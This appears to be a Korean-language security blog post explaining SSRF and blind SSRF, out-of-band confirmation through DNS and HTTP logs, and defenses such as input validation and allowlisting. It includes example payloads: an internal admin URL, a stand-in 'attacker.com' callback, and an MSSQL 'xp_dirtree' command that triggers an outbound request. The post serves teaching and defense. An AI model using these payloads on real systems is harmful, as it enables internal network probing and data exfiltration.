[보안] SSRF, Blind SSRF

SSRF (Server-Side Request Forgery)

: 서버가 특정 URL을 요청하도록 만들어 내부 네트워크 또는 외부 자원에 접근하게 하는 공격

 

서버가 URL을 통해 외부 자원에 접근하는 기능을 악용하여, 공격자가 원하는 곳으로 요청을 보낼 수 있도록 합니다.

이를 통해 공격자는 서버가 내부 네트워크의 자원에 접근하게 하거나, 민감한 정보를 노출시키게 할 수 있습니다.

 

예시

1. 공격 시나리오:
   • 공격자는 웹 애플리케이션에 URL을 입력할 수 있는 취약한 입력 필드를 발견합니다.
   • 공격자는 hxxp://internal-service.local/admin과 같은 내부 URL을 입력하여, 서버가 이 URL을 요청하도록 합니다.
   • 서버는 이 요청을 수행하고, 응답 내용을 웹 애플리케이션을 통해 공격자에게 반환합니다.
2. 공격 결과:
   • 공격자는 내부 서비스의 응답 내용을 직접 볼 수 있습니다.
   • 이를 통해 내부 네트워크 구조를 파악하거나 민감한 정보를 획득할 수 있습니다.

 

블라인드 SSRF (Blind Server-Side Request Forgery)

: 공격자가 서버에 요청을 수행하게 하지만, 요청의 결과를 직접 확인할 수 없음

 

공격자는 서버가 요청을 수행했는지 여부를 확인하기 위해 간접적인 방법을 사용합니다.

 

예시

1. 공격 시나리오:
   • 공격자는 웹 애플리케이션에 URL을 입력할 수 있는 취약한 입력 필드를 발견합니다.
   • 공격자는 hxxp://attacker.com/ssrf-test와 같은 URL을 입력하여, 서버가 이 URL을 요청하도록 합니다.
   • 서버는 이 요청을 수행하지만, 응답 내용을 공격자에게 반환하지 않습니다.
2. OOB (Out-Of-Band) 기법 사용:
   • 공격자는 자신의 서버(attacker.com)의 로그를 통해 서버가 요청을 수행했는지 확인합니다.
   • 예를 들어, DNS Rebinding이나 HTTP 로그를 통해 요청이 발생했음을 확인할 수 있습니다.
3. 공격 결과:
   • 공격자는 서버가 요청을 수행했는지 여부를 알 수 있지만, 요청의 구체적인 응답 내용은 직접 확인할 수 없습니다.
   • 그러나 이 정보를 통해 추가적인 공격을 계획하거나 내부 네트워크 구조를 유추할 수 있습니다.

차이점 요약

• SSRF: 서버가 요청을 수행한 후 응답 내용을 공격자가 직접 확인할 수 있습니다.
• 블라인드 SSRF: 서버가 요청을 수행한 후 응답 내용을 공격자가 직접 확인할 수 없으며, 간접적인 방법을 사용하여 요청이 발생했는지 여부를 확인합니다.

대응 방안

두 유형의 SSRF 공격을 방어하기 위해 다음과 같은 조치를 취할 수 있습니다:

• 입력 검증: 사용자 입력을 철저히 검증하고, 외부로의 임의적인 요청을 차단합니다.
• 네트워크 필터링: 방화벽 규칙을 통해 내부 네트워크 자원에 대한 접근을 제한하고, 외부 요청을 모니터링합니다.
• 화이트리스트 사용: 허용된 도메인이나 IP 주소에 대한 요청만 수행하도록 제한합니다.
• 보안 테스트: 애플리케이션에서 SSRF 취약점이 존재하지 않는지 정기적으로 보안 테스트를 수행합니다.

 

* 그렇다면 DNS 요청을 보낸다는 사실만으로도 의미 있는 정보를 얻을 수 있을까?
-> 이 공격 기법은 Out-of-Band (OOB) 데이터 유출의 한 형태로, 공격자가 대상 서버의 내부 동작이나 민감한 정보에 대한 간접적인 피드백을 얻을 수 있는 중요한 방법!

 

1. 서버의 동작 확인 및 탐색

• 내부 네트워크 확인: 공격자는 대상 서버가 내부 네트워크에서 어떤 자원에 접근할 수 있는지 확인할 수 있습니다. 예를 들어, 특정 내부 IP 주소나 서비스에 대한 요청을 시도함으로써 네트워크 구조를 파악할 수 있습니다.
• 방화벽 및 네트워크 필터링 확인: DNS 요청을 통해 방화벽 설정이나 네트워크 필터링 정책을 탐색할 수 있습니다. 예를 들어, 특정 요청이 성공하는지 여부를 확인함으로써 네트워크 경계를 파악할 수 있습니다.

2. 서버의 취약점 탐지

• 명령 실행 여부 확인: 서버가 SQL 명령을 실행할 수 있는지 여부를 확인함으로써 SQL 인젝션 취약점의 존재를 확인할 수 있습니다.
• 권한 확인: 실행된 명령을 통해 서버가 어떤 권한으로 동작하는지, 그리고 어떤 자원에 접근할 수 있는지 파악할 수 있습니다.

3. 추가 공격의 발판 마련

• 데이터 유출: 비록 DNS 요청 자체가 데이터베이스 값을 포함하지 않더라도, 공격자는 추가적인 명령을 통해 데이터를 유출할 수 있는 방법을 모색할 수 있습니다. 예를 들어, 서버 로그를 통해 민감한 정보를 얻거나, 더 복잡한 명령을 실행하여 데이터를 외부로 전송할 수 있습니다.
• 리모트 코드 실행: DNS 요청을 통해 원격에서 코드를 실행할 수 있는 환경을 탐색하고, 더 나아가 리모트 코드 실행 취약점을 이용할 수 있습니다.

예시 시나리오

1. 단계적 정보 수집
   • 공격자는 먼저 간단한 명령을 통해 서버가 외부 요청을 수행할 수 있는지 확인합니다.
   • 성공적으로 요청이 수행되면, 이를 바탕으로 더 복잡한 명령을 시도하여 데이터를 외부로 유출하거나, 추가적인 공격을 수행할 수 있는 발판을 마련합니다.
2. 네트워크 탐색
   • 공격자는 exec master..xp_dirtree 'hxxp://attacker.com/'와 같은 명령을 통해 내부 네트워크 구조를 파악합니다.
   • DNS 요청이 성공하면, 내부 네트워크에 대한 접근 권한이 있음을 확인하고, 이를 통해 추가적인 공격을 계획합니다.

 

 

OOB에 대해서 좀 더 쓸 예정.